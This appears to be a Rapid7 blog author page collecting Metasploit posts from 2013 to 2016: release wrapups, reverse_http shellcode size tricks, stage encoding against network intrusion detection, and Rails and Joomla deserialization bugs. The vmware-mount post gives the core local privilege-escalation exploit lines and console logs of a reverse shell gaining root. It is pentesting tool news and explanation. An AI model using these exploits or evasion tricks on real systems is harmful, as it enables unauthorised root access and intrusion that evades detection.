Skip navigation
All Places > Metasploit > Blog > Authors egypt
1 2 Previous Next

Metasploit

27 Posts authored by: egypt Employee
egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Jan 22, 2016

I'm not your mother, clean up after yourself.

 

An old friend of mine, axis2_deployer, is a fun authenticated code execution module that takes advantage of Axis2's ability to deploy new applications on a web server. It used to be a messy friend, leaving its files all over the living room floor for you to clean up manually. As of #6457, you don't have to worry about those files any more because it uses the FileDropper mixin. When you're writing a module that requires putting something on the file system, the polite thing to do is delete it when you're done and that's exactly what FileDropper is for. Just include the mixin and call register_file_for_cleanup with the remote path, and when a session is created Metsaploit will use it to delete your mess.

 

Code of Conduct

 

The wider development community has been talking about Codes of Conduct for a while now as a result of a lot of poor behavior. The Metasploit Project has been fortunate not to have had to deal with jerks on the scale that some other projects have, but in order to head those jerks off at the pass, Metasploit now has a Code of Conduct.

Here's an excerpt that explains the motivation:

  We are committed to making participation in this project a harassment-free   experience for everyone, regardless of level of experience, gender, gender   identity and expression, sexual orientation, disability, personal appearance,   body size, race, ethnicity, age, religion, or nationality.

This CoC provides a way for you to contact us and let us know about unacceptable behavior in the community as well as providing guidelines so people know what to expect when such things must be enforced.

  Project maintainers have the right and responsibility to remove, edit, or   reject comments, commits, code, wiki edits, issues, and other contributions   that are not aligned to this Code of Conduct, or to ban temporarily or   permanently any contributor for other behaviors that they deem inappropriate,   threatening, offensive, or harmful.

 

For developers and potential contributors, this means we've got your back. The goal is to give you confidence that if things go wrong, there is already a plan in place and rules that can help. I think it's also important to point out that there was zero dissent in the Pull Request discussion among current committers about whether to adopt this CoC. The building isn't currently on fire, but we as a community, and I personally, want you to be safe putting it out if one comes along.

 

The previous law of the land in the People's Republic of Metasploit was an informal adherance to Wheaton's Law, and that still stands. By adopting a more formal and explicit set of rules, we intend to foster a more welcoming environment where everyone feels comfortable making their first Pull Request.

 

New Modules

Auxiliary and post modules

 

Get it

 

As always, you can update to the latest Metasploit Framework with a simple msfupdate and the full diff is available on GitHub: 4.11.6...4.11.7

 

Happy hacking.

egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Jan 11, 2016

Aaaaaand we're back! Last week was the first weekly update of the year and it comes with a super fun stuff.

Tunneling

The latest update allows you to tunnel reverse_tcp sessions over a compromised machine in a slightly less painful way. There is now a new datastore option, ReverseListenerComm, which lets you tell a meterpreter session tunnel connections back to your payload handler. Here's an example run to give you the idea:

 

msf exploit(payload_inject) > show options


Module options (exploit/windows/local/payload_inject):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   NEWPROCESS  true             no        New notepad.exe to inject to
   PID                          no        Process Identifier to inject of process to inject payload.
   SESSION                      yes       The session to run this module on. 

Payload options (windows/meterpreter/reverse_tcp):


   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: , , seh, thread, process, none)
   LHOST     127.0.0.1        yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:


   Id  Name
   --  ----
   0   Windows


msf exploit(payload_inject) > set ReverseListenerComm 1
ReverseListenerComm => 1

msf exploit(payload_inject) > set SESSION 1
SESSION => 1
msf exploit(payload_inject) > run 

[*] Started reverse handler on 127.0.0.1:4444 via the meterpreter on session 1
[*] Running module against WIN-2DE8F2QP867
[*] Launching notepad.exe...
[*] Preparing 'windows/meterpreter/reverse_tcp' for PID 3092
[*] Sending stage (884270 bytes)
[*] Meterpreter session 2 opened (192.168.5.101-192.168.5.1:4444 -> 127.0.0.1:63173) at 2015-05-20 00:09:44 +0100

meterpreter >

 

The really important line there is this:

[*] Started reverse handler on 127.0.0.1:4444 via the meterpreter on session 1

The compromised machine is listening on its localhost for the new connection, but it doesn't have to be localhost, you can tell it to listen on an external address and use psexec against a second internal machine. This used be possible by creating a route and setting your LHOST to a victim machine's IP address within that route, but it wasn't really clear how to do it and the settings were quite error prone; now it's just a single option to tell Metasploit explicitly where to listen for the payload.

Super fun modules

Joomla

This update comes with a pre-authentication exploit for Joomla, the popular CMS, another in a rich and storied history of deserialization bugs. We've also abstracted some common things into a Joomla mixin, so the next time one of these comes along, writing the exploit is will be faster and easier.

Hacking Time

hoff-hacking-time-500x333.jpg

From the module description:

The end goal is to cause ntpd to declare the legitimate peers "false tickers" and choose the attacking clients as the preferred peers, allowing these peers to control time.

Now you, too, can go... NAK to the Future!

 

Exploit modules

 

Auxiliary and post modules

 

 

As always, you can get all these modules and improvements with a simple msfupdate and the full diff is available on GitHub:  4.11.5-2015121501...4.11.5-2016010401

egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Dec 17, 2015

Welcome to the last Metasploit update of the year! Since January 1st, 2015, we've had 6364 commits from 176 unique authors, closed 1119 Pull Requests, and added 323 modules. Thank you all for a great year! We couldn't have done it without you.

 

Sounds

 

The sounds plugin has been around for a long time, notifying hackers of new shells via their speakers since 2010. Recently, Wei sinn3r Chen gave it a makeover, replacing the old robotic voice with that of Offensive Security founder, Kali Linux Core Developer, and all-around cool guy Mati "muts" Aharoni. Now when you get a new session, you'll be treated to his sultry voice congratulating you and when an exploit fails, he'll encourage you to try harder. Just type "load sounds" in msfconsole to hear it in action.

 

New Modules

 

We have eight new modules this week -- 5 exploits and 3 post modules. Among them is an exploit for Jenkins that takes advantage of the java deserialization issue brought to the world's attention by FoxGlove Security a few weeks ago. More exploits for similar vulnerabilities are undoubtedly on the way.

 

Exploit modules

 

Auxiliary and post modules

 

Get it

As always, you can get all these modules and improvements with a simple msfupdate and the full diff is available on GitHub: 4.11.5-2015120901...4.11.5-2015121501

egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Dec 11, 2015

Payloads

 

New in the latest Metasploit release are stageless HTTP and HTTPS payloads for Python for those times when you would rather have the whole thing in one file instead of having to stage it. For more on the advantages and quirks of stageless payloads, check out @OJ's post on the subject from when support was first added for Windows.

 

Exploit Modules

 

Does anybody remember that bash(1) bug from a little over a year ago? The one with environment variables getting executed as functions or something? Man, those celebrity bugs, they go off to rehab and everybody forgets about them. Well, Advantech forgot at least, since their EKI Modbus gateways use a vulnerable version of bash to serve cgi scripts. In all seriousness, Shellshock will be with us for a very long time, cropping up in production systems and embedded devices like this for many years to come. Despite the frequent comparison with Heartbleed because of the hype at the time, I personally think it's a much more useful bug. Full shell access is better than memory read access any day of the week.

 

So next time you're doing a pentest and you see something embedded, why not try a little Shellshock?

why-not-shellshock.png

 

Another fun module for this wrapup is for an old vulnerability, but part of a theme I always enjoy. For some background, chkrootkit(1) is a Linux security tool intended to discover whether a system is compromised via certain artifacts such as files commonly left around by worms. One of the checks it does is for a file named /tmp/update. Unfortunately, due to some missing quotes, vulnerable versions of chkrootkit won't just check for existence of that file, but will run it instead. As root. Now, I'd be remiss not to mention that this was patched by all the major distributions in mid-2014 and it's the kind of thing you don't usually find on embedded devices. So in contrast to bash, which is installed by default on just about every kind of device you can think of, you're not going to run into it all that often. It's still a fun bug.

 

Performance Improvements

 

Thanks to the work of community contributors Jon Cave and Meatballs, meterpreter file downloads and uploads have improved considerably. While there is still some room for improvement in this area, it's now possible to upload and download files in the tens of megabytes range in a reasonable amount of time across all the meterpreter implementations. Interestingly, Python meterpreter was the fastest in my testing, pulling down a 32MB file in 19 seconds, or roughly 13.47Mb/s.

 

Exploit modules

 

Auxiliary and post modules

 

Get It

 

As always, all the changes since the last wrapup can be had with a simple msfupdate and the full diff is available on github: 4.11.5-2015111801...4.11.5-2015120901

egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Nov 20, 2015

Python extension for Windows Meterpreter

 

Meterpreter offers some pretty powerful post-exploitation capabilities, from filesystem manipulation to direct Windows API calls with railgun, and everything in between.

 

One thing that's been missing for a long time is on-victim scripting. With this update comes an experimental Python extension to remedy that. It's still in its infancy, so expect some kinks to be worked out over the next few weeks, but it is functional. OJ's excellent Pull Request offers some insights into how it works and where it's going.

 

New Modules

 

This update also includes a few PHP code execution exploits, including one for the very popular vBulletin, a cheeky one for a cute backdoor used by Chinese attackers according to the great analysis by FireEye, and one for Up.Time.

 

Up.Time, the tale of a bad patch

 

In late 2013, we published an exploit module by Denis Andzakovic targetting Up.Time, an IT infrastructure monitoring tool. As part of the initial advisory, the researcher quoted the vendor saying

As a policy to protect our customers, we do not discuss any vulnerabilities with outside companies.

Which apparently includes the person reporting the vulnerability.

 

And indeed, there doesn't seem to be any public discussion of this vuln (or any others for that matter) from the vendor, not even a mention of when a patch was available. It turns out that, whenever that patch came out, it didn't actually fix the vulnerability and thanks to contributors Ewerson Guimaraes and Gjoko Krstic, we now have an exploit that targets the latest Up.Time versions 7.4 and 7.5.

 

Exploit modules

 

Auxiliary and post modules

 

 

Get it

 

As always, all the changes since the last wrapup can be had with a simple msfupdate and the full diff is available on github: 4.11.5-2015110801...4.11.5-2015111801

egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Nov 6, 2015

One of the greatest things about Metasploit is that it supports lots of different protocols and technologies that you would otherwise need a huge menagerie of tools to be able to talk to, an ever-expanding bubble of interoperability that you didn't have to write. Due to some great ongoing work by Bigendian Smalls, the bubble is getting even bigger, now encompassing shell sessions on mainframes. You can see the beginnings in #6013 and #6067

 

New Modules

This update also comes with a fun privilege escalation exploit for OSX where an environment variable ends up on a commandline. I love these kinds of bugs because people have been screwing up environment variables since the invention of shells.

 

As always, you can see all the changes since the last wrapup on github: 4.11.4-2015102801...4.11.5-2015103001

 

Exploit modules

 

Auxiliary and post modules

egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Oct 29, 2015

This week's update brings a fun user-assisted code execution bug in Safari. It works by opening up an "applescript://" URL, which pops an Applescript editor, and then getting the user to hit Command-R (normally the keybinding for reloading the page). The key combo will pass down to the editor and run the script.

 

There is a mitigating factor here in the form of Gatekeeper, part of Apple's "walled garden" architecture, designed to protect users from people who haven't given Apple $99. In it's default setting on Mountain Lion and newer, Gatekeeper will pop up a couple of "Are you sure?"s before letting the user give you a shell. But hey, signed Java applets are still moderately effective at getting shells in phishing campaigns in spite of click-to-play, so chances are still pretty good.

 

You can see all the changes since the last wrapup on github: 4.11.4-2015101401...4.11.4-2015102801

 

Exploit modules

 

Auxiliary and post modules

egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Oct 7, 2015

Welcome to another edition of the increasingly inaccurately named Weekly Wrap up! I'm egypt and I'll be your host. Since the last one of these, a lot of work has landed on the Framework. I talked about some of it with a bit of a yearly wrapup at my Derbycon talk. We also had a fun time at the Metasploit Townhall.

 

One of the recent things I didn't cover is the super cool BusyBox work by Javier Vicente Vallejo. For those who aren't familiar, BusyBox is a small, usually statically compiled, shell environment for resource-constrained systems like SOHO routers (which we've talked about quite a bit here on the Metasploit blog). From the official website:

BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides replacements for most of the utilities you usually find in GNU fileutils, shellutils, etc. The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. BusyBox provides a fairly complete environment for any small or embedded system.

 

BusyBox has been written with size-optimization and limited resources in mind. It is also extremely modular so you can easily include or exclude commands (or features) at compile time. This makes it easy to customize your embedded systems. To create a working system, just add some device nodes in /dev, a few configuration files in /etc, and a Linux kernel.

BusyBox is used all over the place with all sorts of different configurations and, as a result of its modular design, many deployments are stripped down to the bare minimum requirements of a given system. That means significant environment-specific limitations from a post-exploitation perspective. Having a collection of tools for working with it after you've compromised a device can save a lot of time over figuring out what particular handicaps a given busybox has been compiled with.

 

We also released our shiny new Omnibus installer, with support for Windows, Linux, and OSX, for your Open Source installation pleasure.

 

As always, feel free to check the diffs from the last blog checkpoint, over on GitHub.

 

Exploit modules

 

Auxiliary and post modules

egypt

Workspace in your prompt

Posted by egypt Employee Aug 19, 2015

This is the simple prompt that msfconsole gives you by default:

simple-prompt.png

The second part, "exploit(psexec)" shows your current context is the exploit module named psexec. You can't change that because it's an important indicator of where you are. The first part, though, is just a default string to tell you you're in msfconsole. It can be controlled with the global Prompt option; you can set it to whatever you want:

 

setg Prompt lolhax

 

 

But that's not too exciting. To make it more interesting, there are several substitutions you can do to get more information out of the framework every time you hit enter. Check out this post from when the feature was introduced for more details on the existing variables.

 

New Shiny

 

Metasploit uses "workspaces" as a means of separating data ( and has for a long time). Now you can add your workspace to your prompt with the %W specifier:

workspace-prompt.png

 

Further, the save command now captures the current workspace as well, so the next time you fire up msfconsole, you'll start in the workspace you left off in and it will be displayed in your shiny new prompt.

Shellcode is an exercise in trade-offs.

 

To be really flexible and fit in the most exploits, shellcode must be small.  On the other side of the scale, there are certain features that you need or want, each adding to the size. For instance, doing DNS resolution in the first stage payload is useful, but (in Windows) requires adding 80 bytes to the stager. So we have to balance size, which is very important for compatibility with some exploits that have limited buffers to work with, with features and reliability, which are important for world domination.

 

Metasploit's existing stagers are usually small enough, and our encoders get rid of bad characters for you, so it doesn't make sense to spend a lot of time writing your own payloads or optimizing to get rid of pesky bytes. Sometimes, though, a few bytes can make a big difference.  For example, the exploit for MS08-067, ms08_067_netapi.rb has a buffer size of 400 bytes; we'll come back to this in a moment.

 

block_api

block_api is a brilliant piece of kit that rummages through MZ headers looking for the function we want to call so that finding a pointer to, say, "InternetOpenA" which is portable and reliable on all versions of Windows. Because all of our Windows payloads use it, a win here can make all our Windows payloads a little bit smaller.

 

The first win comes from the fact that x86 has several ways of addressing memory. This is the original code:

   add eax, edx           ; Add the modules base address
   mov eax, [eax+120]     ; Get export tables RVA

 

The mov instruction here is using the "mov reg, r/m" form, which allows us to do some simple math on a register (adding 120) without having to store the result. The "r/m" argument is a little more flexible, though. It was intended to be able to reference tables and can take "[ base + scale*index + disp32 ]", where base would normally be the beginning of the table, scale would be the size of its elements, index would be the index of the element you want, and disp32 the offset within that element.

 

Armed with this knowledge, both of the above instructions can be condensed into one:

  mov eax, [eax+edx+120]    ; Get export tables RVA

for a one-byte saving. Every byte is sacred, after all.

 

The second reduction comes from the fact that the designers of x86 intended the ECX register to be used as a loop counter and thus added several instructions that treat it specially. jecxz is one that allows us to jump without having to explicitly test a register. By using ECX for our EAT pointer instead of EAX, we can turn this:

  test eax, eax          ; Test if no export address table is present
  jz get_next_mod1       ; If no EAT present, process the next module

into this:

  jecxz get_next_mod1    ; If no EAT present, process the next module

saving another 2 bytes.

 

reverse_http(s)

 

That's all great for improving your shellcode golf score, but the big win came in the reverse_http and reverse_https payloads.

 

The first thing I noticed about reverse_http is that it used the time-honored tradition of jmp'ing ahead, then call'ing backwards and popping the return address to get the address of a string on the stack (in this case, it was the hostname and URI to callback to). Then it would store that value in a register and later push it as an argument to a function. Since the call instruction already puts the value on the stack, I simply rearranged it to be in the argument setup instead of beforehand, e.g. something like this pseudocode:

 

  jmp get_uri
got_uri:
  pop ebx
  push eax
  push eax
  push ebx
  call ...
get_uri:
  call got_uri
  db "/12345", 0x00

 

became this:

  push eax
  push eax
  jmp get_uri
got_uri:
  call ...
get_uri:
  call got_uri
  db "/12345", 0x00

 

If we have an instruction like this:

  mov esi, eax

and we don't need eax to keep its value (in this case we don't), we can replace this it with

  xchg esi, eax

and save another byte.

 

The next savings came from a need for zeros. In almost every function call made in reverse_http(s), we need a zero (or a NULL) for at least one argument.  In fact, we need zero so often that it makes sense to just save it in a register and use it over and over. Previously this was ad-hoc, done at the beginning of each function with a different register. By zeroing one register at the beginning and using it throughout the payload, we can save even more space.

 

Before this change, reverse_https was 368 bytes unencoded. Encoding with x86/call4_dword_xor knocks it up to 392 bytes. With x86/jmp_call_additive, it is 397 bytes. With the added stuff that ms08_067_netapi needs for fixing up the stack, it comes to 404 and 409, respectively. If you'll recall, that's too large for ms08_067_netapi. The encoders that produce decoding stubs with less overhead also produce badchars for this exploit, so shikata_ga_nai encoding (for instance) will not work.

 

After this change, reverse_https is 350 bytes unencoded. With all of ms08_067_netapi's restrictions, we can now encode it to a size that will fit. And there was much rejoicing.

 

Happy hacking.

On August 22, Tavis Ormandy dropped a bug in VMWare that takes advantage of a build configuration in Linux distributions. Providing you have user-level access to a Debian or Ubuntu box with VMWare installed, this exploit gives you root access. It's a fun bug and I want to explain how the Metasploit module for it works:

 

The background

There's this thing called priv_mode in bash that means it will drop privs if euid != uid. Anyone who has ever tried to "chmod +s /bin/sh" will recognize this as a minor frustration that is easily circumvented by simply writing a wrapper in C that does something like:

int main(int argc, char **argv) {
  setresuid(0,0,0);
  execl("/bin/sh");
  return 0;
}


 

That is not the thing that priv_mode is meant to fix (although it is annoying if you don't know what's happening when it appears that your privilege escalation bug is getting you an unprivileged shell). What it is really effective at stopping is the case of a setuid binary calling system(3) or popen(3) before dropping privs. It turns out that VMWare Workstation and Player ship with a binary called vmware-mount that does exactly this.

 

The steps for achieving privilege escalation are pretty straight forward:

  1. Create an executable to be used as our payload
  2. Write it to the host OS's filesystem (in this case, we have to call it lsb_release)
  3. Mark it executable
  4. Run the vulnerable setuid binary

 

The exploit

This exploit will drop our payload as an executable, so first we include the Msf::Exploit::EXE mixin, which will give us access to several convenience methods for creating executables.

include Msf::Exploit::EXE

 

Then, in the exploit method, we create an ELF file with generate_payload_exe. This method is smart enough to build the right kind of executable for whatever platform and architecture is supported by the module and currently selected. Then we just write the file and execute the vulnerable utility with the current directory added to the path. These three lines are basically the meat of the exploit.

write_file("lsb_release", generate_payload_exe)
cmd_exec("chmod +x lsb_release")
cmd_exec("PATH=.:$PATH vmware-mount")

 

When our shell runs, it will block the controlling process. In our case, that would cause the existing shell session to hang, which is pretty impolite. To solve that problem, we prepend some shellcode to the generated binary that just forks and exits the parent process, leaving our payload to happily frolick about in the background.

 

The money shot

15:09:57 0 1 exploit(vmware_mount) > sessions -i 1
[*] Starting interaction with 1...

id
uid=1000(egypt) gid=1000(egypt) groups=1000(egypt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)
^Z
Background session 1? [y/N]  y

15:09:05 0 1 exploit(vmware_mount) > show options

Module options (exploit/linux/local/vmware_mount):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.99.1     yes       The listen address
   LPORT  1234             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


15:09:10 0 1 exploit(vmware_mount) > run

[*] Started reverse handler on 0.0.0.0:1234
[*] Max line length is 65537
[*] Writing 175 bytes in 1 chunks of 529 bytes (octal-encoded), using printf
[*] Sending stage (36 bytes) to 192.168.99.1
[*] Command shell session 2 opened (192.168.99.1:1234 -> 192.168.99.1:41671) at 2013-09-04 15:08:16 -0500

id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare),1000(egypt)

 

Want to give this a try yourself?

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

Chaining Zpanel Exploits for Remote Root

 

ZPanel is a fun, open source web hosting control panel, written in code auditors' favorite language, PHP. For bonus points, ZPanel likes to do some things as root, so it installs a nifty little setuid binary called 'zsudo' that does pretty much what you might expect from a utility of that name -- without authentication. In the wake of some harsh words on reddit and elsewhere in regard to the character of ZPanel's development team, the project came to the attention of some exploit developers with predictable results; now for the low, low price of using two exploits (one to get shell, and one to abuse the zsudo silliness) you can get remote root from a low-priv ZPanel user account.

 

This update also includes an exploit for a vulnerability in MoinMoin, a wiki written in Python, which was used in the wild against wiki.python.org and wiki.debian.org not too long ago. Juan explained this bug in more detail earlier.  Interestingly, MoinMoin has support for FreeBSD, for which this update also includes a local privilege escalation module taking advantage of the fun new mmap vulnerability.

 

Moral of this story: if you're owned, assume you're completely owned. And if you're doing the owning, you get to do the root dance.

 

New Modules

Exploit modules

Auxiliary and post modules

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

egypt

Weekly Update: Smaller is Better

Posted by egypt Employee Jun 20, 2013

In this week's episode, the role of Tod Beardsley will be played by egypt.

 

Smaller is better

Perhaps the most prominent addition to the framework this week is not an addition at all, but rather a deletion. We've been working toward a slimmer, more manageable source tree for a while now, and as part of that effort, we recently removed a pile of old-and-busted unit tests. This update goes a bit further, moving source code for some compiled payloads into seperate repositories. Metasploit's version of Javapayload (which includes Java and Android Meterpreter) can now be found at rapid7/metasploit-javapayload, the native C meterpreter lives in rapid7/meterpreter, and the excellent packet manipulation library, PacketFu, has been pulled out of the tree in favor of the standalone gem. As so often is the case when anything involving Java arises, thanks again go to mihi for his help with a consolidated java build environment. By my calculations, the framework repository is now somewhere in the neighborhood of 45MB lighter.

 

Less is more

Another thing that has gotten much smaller is our pull queue, thanks to the tireless efforts of the lovely wvu. Having someone working full-time on ticket husbandry has made many things go more smoothly, and as a result the number of pull requests and unresolved issues has been steadily falling.  Which, of course, means that now is a great time to submit that patch you've been meaning to write!

 

New Modules

This week brings 6 new modules:

 

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

As I mentioned in my post about compiling on the fly, encoders' primary purpose in life is to avoid bad characters in a payload. To recap, the main reason a character is considered "bad" is that some aspect of the exploit makes use of that character impossible.  One reason this might be the case is when a character gets stripped out or mangled along its journey through protocol decoding. For example, in the telnet protocol, \xff is the IAC or Interpret As Command byte. It is treated specially and cannot be used in a payload delivered via that protocol.

 

However, encoders have a secondary purpose as well: entropy. Encoders are essentially ineffective against Anti-Virus in most cases because of the nature of executable payloads, but can be much more useful against network-based intrusion detection. By making traffic as random as possible, we make it much more difficult for pattern matching on packets to notice anything nefarious.

 

One place this has been missing is in the second stage payloads. With a staged payload, the first stage connects back to Metasploit who hands it back a larger, more featureful payload. In the case of Meterpreter, the second stage payload is actually a DLL using Stephen Fewer's reflective loading technique to be able to treat the whole file as shellcode.  What this means from a network defense perspective, is seeing an MZ header come across the wire. That's bad news for the poor pentester who's just trying to make ends meet by owning corporate networks and stealing passwords.

 

Enter stage encoding. Encoding the second stage works just like encoding the stager but the purpose is different. Since the exploit has already done all the hard work of achieving code execution, and the first stage has prepared a nice chunk of memory for us to run in, the second stage doesn't have to worry about pesky things like character restrictions.

 

Here it is in action:

01:49:54 0 0 exploit(ms08_067_netapi) > show advanced

     [ ... snip ... ]
Payload advanced options (windows/meterpreter/reverse_tcp):
     [ ... snip ... ]
   Name           : EnableStageEncoding
   Current Setting: false
   Description    : Encode the second stage payload
     [ ... snip ... ]
   Name           : StageEncoder
   Current Setting:
   Description    : Encoder to use if EnableStageEncoding is set
     [ ... snip ... ]

01:49:55 0 0 exploit(ms08_067_netapi) > set EnableStageEncoding true
EnableStageEncoding => true
01:49:55 0 0 exploit(ms08_067_netapi) > exploit -z

[*] Started reverse handler on 0.0.0.0:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP1 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (752158 bytes) to 192.168.99.128
[*] Meterpreter session 8 opened (192.168.99.1:4444 -> 192.168.99.128:1028) at 2013-01-29 01:50:18 -0600
[*] Session 8 created in the background.
01:50:18 1 0 exploit(ms08_067_netapi) >

The output here is only subtly different from before. Stage encoding adds a new line ("[*] Encoded stage with x86/shikata_ga_nai") telling us it has done its job. But the network is a different story. Here's what it looks like without stage encoding:

wireshark-no-encoding.png

And here it is with stage encoding enabled:

wireshark-with-encoding.png

 

Like encoding of the stager (or the single stage in the case of a standalone payload), we start with the highest ranked encoder module and fall through to lower-ranked modules if that doesn't work. Since there are no bad characters to avoid, the system will always pick the highest ranked encoder. Encoders are ranked by randomness, so you'll get a pretty good pile of entropy from the default for your platform (for x86, this is shikata_ga_nai). If you don't like that, you can set a particular one in the StageEncoder advanced option.

 

The idea for stage encoding has been around for a long time -- the first commit to introduce it was back in 2007 -- but it's been disabled for almost as long. Back in October, open source contributor Agix brought it back to the world's attention with a pull request that uncommented the encoding.  Unfortunately, it still had the problems that skape had encountered in 2007, namely that it just took far too long to encode the larger buffer of the second stage. After debating with several folks on what to do with this problem, I decided to just dig into it and find out why it was so slow and whether there was anything we could do about it.

 

Two major performance enhancements came out of that digging. The first was taking advantage of the fact that there can be no bad xor keys if there are no bad characters to avoid. Short-circuiting a loop over the entire buffer saved a bit. The second was much more substantial and has to do with a quirk of Ruby string manipulation, which I mentioned before, in 2009.

 

String#<< is the append operator. It takes the argument and stuffs it onto the end of your string, changing it in place.  String#+ on the other hand, returns a new String containing both. There is some amount of overhead in creating a new object compared to just changing an existing one, but that's only part of the issue here. The difference from a performance perspective is best illustrated with some pseudo-C:

 

// String#<<
self = realloc(self, strlen(self) + strlen(other) + 1);
memcpy(self + strlen(self), other, strlen(other));
return self;
// String#+
a = malloc(strlen(self) + strlen(b) + 1);
memcpy(a, self, strlen(self));
memcpy(a + strlen(b), self, strlen(self));
return a;

 

Notice that appending requires copying only the argument while creating a new string requires copying both, in addition to that small amount of overhead for creating a new string object. Notice also that if you put this in a loop, that small amount of overhead gets multiplied by the length of the loop and you take another hit the next time the garbage collector runs.

 

Changing one line in the encoding system to use << instead of += improved the performance of encoding large buffers by two orders of magnitude. The result is usable encoding on ~1MB of shellcode and no more MZ headers on the wire.

This afternoon, another scary advisory was posted to the Ruby on Rails security discussion list. Fortunately, this one doesn't affect any Metasploit products. The previous advisory (that HD talked about here) dealt with Rails parameter parsing of XML from a POST request.  The short version is that XML can contain YAML, and YAML lets you deserialize instances of arbitrary classes. The one from this afternoon is very similar except this time it's JSON parsing that can be coerced into into YAML instead of XML parsing.

 

Triggering the bug is relatively simple, just send a request with "Content-Type: application/json" and a bunch of YAML in the body. The result is exactly what we had with the XML -> YAML bug, i.e. you can do one of a few super fun things:

 

  • Instantiate one of several builtin types including String, Fixnum, DateTime, etc
  • Allocate an arbitrary ruby object and call its init_with method
  • Allocate an arbitrary ruby object and call its instance_variable_set method
  • Instantiate an arbitrary ruby object and call its []= method

     

 

None of those are direct code execution, all by itself, but Postmodern and HD covered what you can do with them in pretty thorough detail, so I won't repeat it here.  Suffice it to say that a new module just went out and now there are two reliable exploits for Rails that don't care one whit about the application that runs on it.

Filter Blog

By date: By tag: